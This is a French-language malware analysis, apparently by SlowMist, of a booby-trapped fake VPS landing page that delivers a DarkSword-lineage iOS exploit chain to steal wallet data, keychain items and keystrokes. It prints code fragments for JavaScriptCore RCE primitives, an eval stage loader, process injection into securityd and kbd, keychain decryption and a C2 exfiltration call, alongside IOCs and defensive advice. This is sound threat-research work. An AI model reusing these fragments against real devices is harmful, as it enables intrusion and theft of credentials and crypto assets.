Contexte


Une page d’accueil d’une offre gratuite de VPS, en réalité un appât. D’après la page restaurée à partir d’archives de pages publiques, event[.]polarnode[.]vip, enregistré fin août 2026, déclare https[:]//lk[.]wyincc[.]com/lk.js comme script de préchargement ; une fois la page interactive, le script se charge automatiquement, sans que les visiteurs aient besoin de cliquer.

标题: fig:

Après avoir décodé les échantillons de loader sauvegardés, nous avons confirmé que celui-ci est conçu pour être livré à des iPhones exécutant iOS 18.4–18.6.2 via Safari pur, et qu’il aboutit finalement à l’exfiltration de fichiers, du trousseau (Keychain) et des saisies au clavier, ciblant trois applications de portefeuille. Cette chaîne est très cohérente avec la chaîne d’exploitation iOS DarkSword publiée par le Google Threat Intelligence Group (GTIG), correspondant à six CVE ; il s’agit d’une réutilisation n-day.


L’analyse de cet article se base sur l’échantillon de chargeur principal de 1k[.]wyincc[.]com/lk[.]js et sur les instantanés lk[.]wyincc[.]com/lk[.]js enregistrés par urlscan ; l’analyse des six CVE et des capacités post-exploitation est limitée à la chaîne /dist/sandbox.html.

Cette méthode n’est pas un cas isolé. D’après un rapport de divulgation simultané de socket.dev, 13 thèmes malveillants de Packagist utilisent une chaîne d’exploitation allant de WebKit vers le noyau pour voler les données d’appareil et les phrases mnémoniques de portefeuille. Les CVE utilisés correspondent à un chevauchement avec le DarkSword de ce rapport.
L’analyse de cet article se fonde sur des preuves statiques ; aucun échantillon n’a été exécuté, aucun iframe n’a été ouvert, et aucune réponse n’a été transmise au navigateur ou à un moteur JavaScript. Les téléchargements à distance et la synthèse des requêtes C2 pendant la phase de forensique sont effectués sous une autorisation distincte, sans envoi de données réelles d’appareil. Les descriptions des capacités du code dans le texte indiquent que le code dispose d’une implémentation ou d’un chemin d’appel correspondant, mais cela ne signifie pas que les opérations associées se soient réellement produites avec succès sur un appareil réel.

Réponse MistEye

MistEye est une plateforme autonome de renseignement sur les menaces Web3 et de surveillance de sécurité dynamique développée par SlowMist. Elle intègre des capacités de surveillance de sécurité et d’agrégation de renseignements, offrant aux utilisateurs des alertes de risques en temps réel et une protection des actifs.

Après avoir reçu cet échantillon, MistEye reconstruit l’intégralité de la chaîne d’attaque : du filtrage des appareils, à la livraison d’iframe masquée, jusqu’aux exploitations et post-exploitations multi-phases. Il extrait les domaines, IP et IOC de fichiers malveillants, puis raccorde le paquet malveillant et les IOC au moteur de détection de menaces, et envoie aux utilisateurs concernés des alertes de risque ainsi que des recommandations d’intervention.

Voici l’analyse technique détaillée.

Décodage

L’échantillon ne contient pas de retours à la ligne : il tient sur une seule ligne. Son obfuscation se fait en trois couches : un tableau de chaînes de 1 025 éléments, décalé globalement vers la gauche à l’aide d’une fonction immédiatement exécutée au démarrage, puis une base64 personnalisée pour chaque chaîne et enfin RC4. Le jeu de caractères personnalisé place d’abord les lettres minuscules, puis les lettres majuscules :

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

Le résultat du déchiffrement a une empreinte SHA-256 de 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. Le décodeur lit uniquement le texte et effectue ses propres transformations Base64/RC4 ; il n’évalue aucun JavaScript.

Une configuration fixe est restaurée en clair : le serveur est https[:]//lk[.]wyincc[.]com ; l’endpoint SDK préféré est 13[.]248[.]210[.]49:36887, le endpoint de secours est 66[.]117[.]225[.]238:36887, un heartbeat de 20 secondes, device_source = 782391, et l’identifiant client est web-sdk V1.0. La configuration inclut aussi une clé publique RSA ; son SHA-256 est 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681. Les étapes suivantes utilisent cette clé pour chiffrer le trafic envoyé aux endpoints SDK.

Les trois applications cibles à mettre en évidence d’abord dans la configuration sont : imToken (im.token.app), TokenPocket (com.global.wallet.ios) et TronLink (com.tronlink.hdwallet). Le même groupe d’identifiants réapparaît plus tard dans la tâche de collecte du clavier.

Ciblage et livraison


La première chose après le décodage est de décider à qui donner la charge utile. Dans l’échantillon de chargeur du domaine 1k[.]wyincc[.]com analysé dans le corps principal, le parsing du navigator.userAgent utilise /iPhone OS (\d+)[_.](\d+)/i ; après simplification de l’obfuscation, la logique de détection des versions est équivalente à :

if (major !== 18 || minor < 4 || minor > 6) return;

Dans cet échantillon de chargeur, seuls les iPhone à iOS 18.4–18.6.x peuvent passer. La détection côté navigateur exige également la présence simultanée de Safari/, Version/ et Mobile/... Safari, tout en excluant Chrome, Firefox, Opera et Edge sur iOS (CriOS, FxiOS, OPiOS, EdgiOS), ainsi que les WebView intégrées de WeChat, QQ, Telegram, Alipay et d’une série d’applications sociales et d’actualités. L’expression régulière ne fait correspondre que l’iPhone OS et ne correspond pas au CPU OS utilisé sur iPad.

L’instantané du chargeur réellement référencé par la page enregistrée par urlscan ne supprime pas la branche mentionnée ci-dessus : un iPhone exécutant iOS 18.4–18.6.2 entre encore dans /dist/sandbox.html. Par rapport à l’échantillon de chargeur de l’analyse principale, il fait aussi un appariement global iPhone|iPod, incluant iPod touch, et ajoute une liste blanche iOS 15.2 à 17.1. Ces anciennes versions et iPod touch sont alors basculés vers la branche supplémentaire /group.html.

Les visiteurs non filtrés ne sont pas simplement ignorés. Le code masque tous les sous-éléments de la page courante, puis affiche un message multilingue demandant à l’utilisateur de copier l’adresse et de l’ouvrir avec Safari. C’est un message de compatibilité, mais il dirige aussi activement les visiteurs vers l’environnement de navigateur nécessaire à l’exploitation.

标题: fig:

Grâce au filtrage, les visiteurs ciblés passent vers la logique de verrouillage et de refroidissement : après réception des messages pe_injected et chain_locked, ils écrivent l’état local et des cookies afin d’éviter un déclenchement répété sur le même appareil. L’UID est composé d’un horodatage et de caractères aléatoires. Les deux écouteurs de messages ne vérifient que event.data.type et ne valident pas event.origin ou event.source : ainsi, d’autres frames sur la même page peuvent usurper ces messages pour déclencher prématurément le verrouillage ou le refroidissement.

chaîne de livraison

L’analyse complète de la chaîne de livraison ci-dessous s’applique à la branche /dist/sandbox.html conservée conjointement par deux chargeurs. L’instantané de chargeur réellement référencé par la page inclut en plus une branche parallèle /group.html, mais ce chemin est intercepté par un WAF préalable avec une réponse HTTP 403 ; nous n’avons donc pas obtenu le contenu en aval. Par conséquent, cet article n’inclut pas cette branche dans la lignée DarkSword mentionnée ci-dessous, ni dans les six CVE, ni dans les capacités de collecte de données.

Après filtrage sur des iPhone exécutant iOS 18.4–18.6.2, le chargeur construit une iframe cachée dont le modèle d’adresse est fixé :

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

La transmission de la configuration initiale du chargeur vers sandbox.html est confirmée comme étant effectuée via le paramètre ?d= de l’URL. d porte un Base64 JSON encodé d’URL, incluant l’origine (origin) du site courant, hostname, utm_source, l’UID de session, ainsi que les endpoints SDK, la clé publique RSA, device_source et la configuration du portefeuille cible. Comme l’UID et les champs de site sont générés à l’exécution, il n’y a pas d’URL fixe de troisième phase pouvant être reconstruite à l’avance. Pour continuer le suivi, nous obtenons sandbox.html en utilisant les paramètres reconstruits à partir de la configuration dans les conditions de forensique.

L’iframe utilise un morceau de style pour rester hors écran et invisible. La page sandbox charge ensuite dynamiquement les chunks via l’élément script vendor.js. vendor vérifie à nouveau la version et fait un routage : sur iOS 18.6, il télécharge runtime.js et le encapsule en Blob Worker ; sur iOS 18.4 et 18.5, il télécharge runtime-legacy.js, puis récupère et évalue polyfill.js dans la page. Le chemin RCE de legacy transmet et exploite de manière coordonnée l’état entre le contexte de la page et le contexte du Worker via postMessage ; il coordonne l’établissement des primitives RCE et la passation de phase suivante. Cela diffère des seuls écouteurs de messages pe_injected et chain_locked mentionnés plus haut, qui se chargent uniquement d’exécuter la boucle de verrouillage/refroidissement.

Chaque segment suivant ne se télécharge qu’après le succès du segment précédent. La chaîne complète contient deux couches d’évasion de sandbox ; les codes sont marqués respectivement SBX0 et SBX1 : SBX0 fait passer l’exécution du processus de contenu web vers le processus GPU, et SBX1 la fait ensuite passer du processus GPU à mediaplaybackd.

  • runtime.js (18.6) exploite CVE-2025-43529 (défaut de corruption mémoire dû au problème de garbage collection du DFG JIT de JavaScriptCore) en conjonction avec CVE-2026-20700 (contournement de validation des pointeurs PAC côté espace utilisateur dyld) pour construire des primitives d’exécution de code à distance (RCE) pour JavaScriptCore/WebKit : addrof (adresse d’objet), fakeobj (objet factice), lecture/écriture arbitraires, gestion PAC (authentification de pointeurs) et appels natifs ; puis obtient et eval framework.js de manière synchronisée. runtime-legacy.js et polyfill.js fournissent les mêmes primitives pour 18.4/18.5, correspondant à CVE-2025-31277 (corruption mémoire due à des optimisations JIT/alias de types dans JavaScriptCore) et à CVE-2026-20700.

// runtime.js (18.6) — primitives RCE
function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 construits sur le même mécanisme fakeobj/scribble

// runtime.js —— passerelle SBX0 (eval framework.js)
print("[RCE] démarrage du chargement de l’évasion de sandbox SBX0...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)

  • framework.js implémente SBX0 — en exploitant CVE-2025-14174 (contrôle insuffisant des paramètres d’une opération spécifique dans ANGLE/WebGL conduisant à des lectures/écritures mémoire hors limites). Il transfère l’exécution du processus de contenu web vers le processus GPU ; après la branche SBX0 SUCCEEDED, il charge common.js ; framework-legacy.js en est l’équivalent pour legacy.

// framework.js —— point d’entrée SBX0
print("[SBX0] ======== début d’évaluation de sbx0_main.js ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;

  • common.js implémente SBX1 — en exploitant CVE-2025-43510 (défaut de gestion mémoire de type copy-on-write (COW) dans le noyau XNU), pour s’échapper du processus GPU vers le mediaplaybackd ayant des privilèges plus élevés. Cela inclut ses points d’extrémité XPC, les chemins IOSurface/Scaler et l’exemple sbx1sbx1_exp, puis charge app.js ; common-legacy.js réutilise l’app.js existant.

// common.js — ancre XPC mediaplaybackd de SBX1 et passation d’élévation de privilèges
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Lancement de PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }

  • app.js exploite CVE-2025-43520 (corruption mémoire due aux conditions de concurrence du noyau du système de fichiers virtuel VFS de XNU) pour construire des primitives de lecture/écriture du noyau et d’élévation de privilèges. Il inclut l’encapsulation de lecture/écriture du noyau, MigFilterBypass, l’extension sandbox applySandboxEscape, la suppression des rapports de crash, ainsi qu’une logique de coordination pour obtenir trois plugins et injecter trois processus système. Les trois plugins sont sync.js, auth.js et input.js, et trois scripts de tâches correspondants aux trois types de plugins sont récupérés.

// app.js —— entrée de lecture/écriture du noyau et d’élévation de privilèges
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }

Trois chemins d’injection, chacun initiant une fois un HTTP GET en clair pour obtenir le plugin, puis en transmettant la réponse au processus correspondant :

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }

Les trois cibles sont respectivement SpringBoard (sync.js), securityd (auth.js) et kbd (input.js). Les trois scripts de tâches récupérés correspondent à ces trois types de plugins, et le code coordonne l’injection d’agents de tâche. Les chaînes SBX0 SUCCEEDED et SBX1 SUCCEEDED dans le code sont des branches d’état, pas des journaux de succès que nous avons observés.

À propos de la provenance, une précision s’impose. lk[.]wyincc[.]com renvoie HTTP 403 pour les ressources de la branche legacy (runtime-legacy.js, polyfill.js, framework-legacy.js, common-legacy.js). Nous avons récupéré ces quatre fichiers à partir du nœud d’hébergement de payload associé 1k[.]wyincc[.]com. Ce nœud avait auparavant été vérifié comme renvoyant, octet par octet, les réponses correspondant exactement aux hôtes réellement référencés pour vendor.js et runtime.js ; toutefois, nous ne prétendons pas que ces fichiers legacy récupérés soient équivalents octet par octet aux réponses lk que nous n’avons pas pu obtenir. Les ressources de conditions de capacité powercuff_light.js et chain_status_overlay.js renvoient 403 sur l’hôte réellement référencé par la page ; le nœud hébergeant le payload associé renvoie 404 HTML : aucun script analysable n’est obtenu.

lignée DarkSword

Le code contient plusieurs traces uniques qui concordent avec un outil publié précédemment. app.js inclut le commentaire : "If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions", ainsi que la classe MigFilterBypass. Après Chain.runPE(), il enchaîne avec Sandbox.applySandboxEscape(), supprime le répertoire systemgroup.com.apple.osanalytics/DiagnosticReports/ et fait référence à l’outil startSandworm. La répartition par version (18.4/18.5 vs 18.6) et les responsabilités par étapes de SBX0 → SBX1 → PE sont également cohérentes avec l’analyse de DarkSword publiée par GTIG. Les annonces de sécurité d’Apple confirment en plus les CVE correspondants et les versions corrigées.

Après désobfuscation, app.js conserve quelques traces directement reconnaissables :

// app.js — branchement par version migbypass (commentaire unique DarkSword)
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }

// Enrobage lecture/écriture du noyau dans Chain intégré à MigFilterBypassThread.js
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// référence à l’outil startSandworm (conservé sous forme de commentaire dans le code source)
// let baseKernel = startSandworm();

Sur cette base, nous associons la phase locale aux six CVE :

Lors de la première observation de DarkSword par GTIG, les CVE-2025-43529, CVE-2026-20700 et CVE-2025-14174 faisaient partie des 0day déjà “in the wild”. À la date de l’activité WYINCC du 9/2026, les six vulnérabilités sont toutes publiées et corrigées par Apple ; par conséquent, l’envoi actuel correspond à une réutilisation n-day de la chaîne de six vulnérabilités de DarkSword. Les versions corrigées et l’état historique “0day” reposent sur les rapports de GTIG et les annonces de sécurité d’Apple.

Trois tâches C2

Pour comprendre ce que fait finalement l’agent injecté, nous avons, sous autorisation distincte, utilisé un UID synthétique et un champ de site vide : nous avons envoyé une requête minimale requestJsCode à chacun des deux points d’extrémité SDK, deux fois par point. Durant tout le processus, aucune donnée d’enregistrement d’appareil, de battement (heartbeat), Keychain, de clavier ou d’application n’est envoyée.

Les deux connexions vers le point d’extrémité préféré 13[.]248[.]210[.]49:36887 renvoient une réponse de 54 773 octets ; les deux connexions vers le point d’extrémité de secours 66[.]117[.]225[.]238:36887 renvoient un contenu vide. La réponse est chiffrée via AES-256-GCM et encapsulée en trames SSP2. Nous utilisons les clés de session sauvegardées pour faire un déchiffrement hors ligne, une décompression LZFSE et une vérification SSP2/JSON/Base64 afin de reconstituer trois scripts de tâche. Aucune des trois tâches n’est exécutée.

Les trois tâches correspondent chacune à un processus injecté :

  • Les tâches SpringBoard sont configurées côté serveur via apps_json : elles énumèrent récursivement les fichiers depuis le conteneur de l’application, un AppGroup partagé ou un chemin absolu, en les téléchargeant par blocs, avec un SHA-256 par fichier et une reprise sur interruption. Quand task_type vaut 1 ou 4, le code décode aussi Base64 et fait eval du JavaScript fourni par le serveur, puis renvoie le résultat.

  • La tâche securityd ouvre /private/var/Keychains/keychain-2.db, interroge les tables genp et inet, puis déchiffre les blobs data via la classe privée SecDbKeychainItemV7 ; après extraction de v_Data, acct, svce et agrp, elle transmet les informations.

  • La tâche kbd surveille l’application au premier plan : lorsque l’application cible du portefeuille est au premier plan, elle interroge périodiquement l’ivar interne du clavier (_inputString, _contextBeforeInput, _contextAfterInput). À la fin de la saisie ou lors du changement d’application, le contenu mis en cache est envoyé dans reportAppPwd.

Collecte Keychain

La tâche securityd correspond au plugin auth.js. Après avoir récupéré GET /dist/plugins/auth.js, app.js injecte le code dans securityd via InjectJS("securityd", ...) ; à partir des appels natifs établis dans la chaîne (dlsym, objc_msgSend), le JavaScript appelle directement ObjC, ouvrant uniquement en lecture la base de la trousse de clés :

sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)

Elle ne parcourt que genp (mots de passe généraux) et inet (mots de passe Internet) : deux tables (SELECT * avec filtre agrp LIKE '%keyword%'); chaque table contient au maximum 500 lignes. Si le mot-clé est vide, cela dégénère en 1=1 et parcourt tout. La colonne data est un BLOB chiffré. Le code ne déchiffre pas la keybag : il appelle dynamiquement, dans securityd déjà présent, des méthodes de la classe privée SecDbKeychainItemV7 (initWithData:decryptionKeybag:error: etc.) pour déchiffrer, lire la valeur secrète v_Data et extraire acct, svce et agrp :

var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));

task_type == 3 déclenche un dump (le mot-clé provient de apps_json côté serveur ou content). task_type == 4 permet aussi une extension eval des scripts côté serveur pour de la collecte ; le résultat est transmis via le canal C2 encapsulé en SSP2 / AES-256-GCM / RSA via reportKeychain :

sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });

Résumé

Nous confirmons qu’il s’agit d’un framework multi-phases déclenché par l’accès et d’une post-exploitation entièrement dédié aux iPhone exécutant iOS 18.4–18.6.2 en navigation pure Safari, correspondant à la lignée DarkSword. Le risque touche trois applications de portefeuille : imToken, TokenPocket et TronLink. Le code possède des capacités de RCE du navigateur, deux couches d’évasion de sandbox, des lectures/écritures du noyau, ainsi que des capacités d’injection d’agents vers SpringBoard, securityd et kbd. La collecte cible couvre les fichiers, Keychain et la saisie du clavier.

Les trois éléments observés par GTIG pour DarkSword lors de son tout premier 0day se retrouvent déjà publiés et corrigés par Apple au moment de cette activité ; l’envoi actuel par WYINCC peut donc être qualifié de réutilisation n-day d’une chaîne de six vulnérabilités. L’instantané de chargeur réellement référencé par la page lk[.]wyincc[.]com contient aussi une branche /group.html destinée aux versions iOS et iPod touch plus anciennes, mais cette branche est interceptée par un WAF préalable avec HTTP 403 ; le contenu en aval n’est donc pas obtenu. Par conséquent, les conclusions sur les six CVE et la collecte de données ne s’appliquent qu’à la branche /dist/sandbox.html.

Recommandation

  1. À la frontière réseau (proxy, DNS, EDR/NDR), bloquer les domaines wyincc[.]com, polarnode[.]vip et les trois endpoints 36887 ; rechercher dans les journaux les accès aux chemins /dist/sandbox.html, /dist/chunks/, /dist/plugins/, etc. depuis des iPhone exécutant iOS 18.4–18.6.2, puis rechercher les accès à /group.html depuis des iOS 15.2 à 17.1 (y compris possiblement iPod touch) avec les UA correspondants. Le premier cas correspond à une chaîne complète déjà exposée ; le second ne fait que confirmer une branche en aval non obtenue pour cette activité, et ne peut pas être directement appliqué aux conclusions des six CVE ou à la collecte de données sur le portefeuille.

  2. Si votre propre site a déjà été injecté par ce script : retirez le script des pages et des caches CDN/stockage d’objets, vérifiez les sources d’intégration des modèles, du gestionnaire de tags et des systèmes publicitaires, puis déployez des restrictions CSP/SRI afin d’empêcher les scripts tiers d’hériter du contexte du site.

  3. Pour les appareils iPhone ayant réellement accédé à la page de livraison et exécutant Safari iOS 18.4–18.6.2, privilégiez la forensique : collectez l’historique Safari, les crashs de WebKit, les anomalies de processus et les enregistrements d’accès Keychain. Pour les appareils iPhone iOS 15.2 à 17.1 ou iPod touch ayant touché /group.html, conservez les mêmes preuves de base. N’affirmez toutefois pas uniquement sur la base du hit de chemin que l’exploitation a réussi ou que des données ont été collectées.

  4. Pour les utilisateurs des trois portefeuilles cibles suivants : imToken, TokenPocket et TronLink, combinez les résultats de la forensique d’appareil pour décider s’il faut faire tourner (remplacer) les identifiants, révoquer les sessions, surveiller les adresses et transactions on-chain ; ne concluez pas uniquement à partir des enregistrements d’accès que la clé privée ou les mots mnémotechniques ont été divulgués.

  5. Mettez à niveau l’appareil vers une version corrigée par Apple (iOS/iPadOS 18.7.3 ou version 26.3 et supérieure) et conservez les réponses originales, les clés de session et les hachages pour des analyses de corrélation ultérieures.

IOC


nom de domaine


1k[.]wyincc[.]com

lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip


IP


13[.]248[.]210[.]49 

66[.]117[.]225[.]238

166[.]117[.]225[.]238


URL


13[.]248[.]210[.]49:36887

66[.]117[.]225[.]238:36887

166[.]117[.]225[.]238:36887

https[.]//lk[.]wyincc[.]com/lk.js

https[.]//1k[.]wyincc[.]com/lk.js

fichier malveillant


nom de fichier : lk.js 

SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337

nom de fichier : lk.js

SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
nom de fichier : sandbox.html 

SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54

nom de fichier : vendor.js 

SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
nom de fichier : runtime.js 

SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
nom de fichier : runtime-legacy.js 

SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
nom de fichier : polyfill.js 

SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
nom de fichier : framework.js 

SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
nom de fichier : framework-legacy.js 

SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
nom de fichier : common.js 

SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
nom de fichier : common-legacy.js 

SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
nom de fichier : app.js 

SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
nom de fichier : sync.js 

SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
nom de fichier : auth.js 

SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
nom de fichier : input.js 

SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d

à propos de MistEye


MistEye est une plateforme de renseignement sur les menaces Web3 et de surveillance de sécurité dynamique développée en interne par SlowMist. Elle propose, via une API, des capacités de détection d’activités malveillantes et des alertes de risque de chaîne d’approvisionnement à partir d’un écosystème de paquets open source.


Tous les paquets malveillants et IOC impliqués dans cette opération ont été intégrés au moteur de détection de menaces MistEye. Les développeurs peuvent utiliser l’API pour détecter automatiquement les dépendances des projets, déterminer rapidement s’ils correspondent à des paquets malveillants connus et obtenir des recommandations de traitement.


📖 Documentation API : https://app.misteye.io/api-docs


🛠️ MistEye-DepScan : https://github.com/slowmist/MistEye-DepScan outil CLI léger — en une seule commande, scanne les dépendances du projet et les paquets d’installation globaux déjà connus pour être malveillants ; prend en charge l’écosystème npm / PyPI / Cargo / Go / RubyGems


🛠️ MistEye-Skills : https://github.com/slowmist/misteye-skills — pack de compétences de sécurité pour assistants de codage ; déclenche automatiquement les détections de sécurité MistEye avant/après l’installation des dépendances et l’accès via URL


🛠️ MistEye-DNS-Guard : https://github.com/slowmist/MistEye-DNS-Guard outil de sécurité DNS qui détecte les domaines malveillants et les accès à risque, identifie les menaces réseau comme le phishing et les C2


Cet article a été rédigé par l’équipe de threat intelligence de SlowMist, combinant le système MistEye de threat intelligence et l’analyse pilotée par l’IA de SlowMist Agent. En cas de questions, n’hésitez pas à nous contacter.


Référence

[1]https://socket.dev/blog/packagist-themes-ios-spyware

[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain

[3]https://support.apple.com/en-bw/125885

[4]https://support.apple.com/en-me/125633

[5]https://support.apple.com/en-us/126346

[6]https://www.nodeseek.com/post-905477-1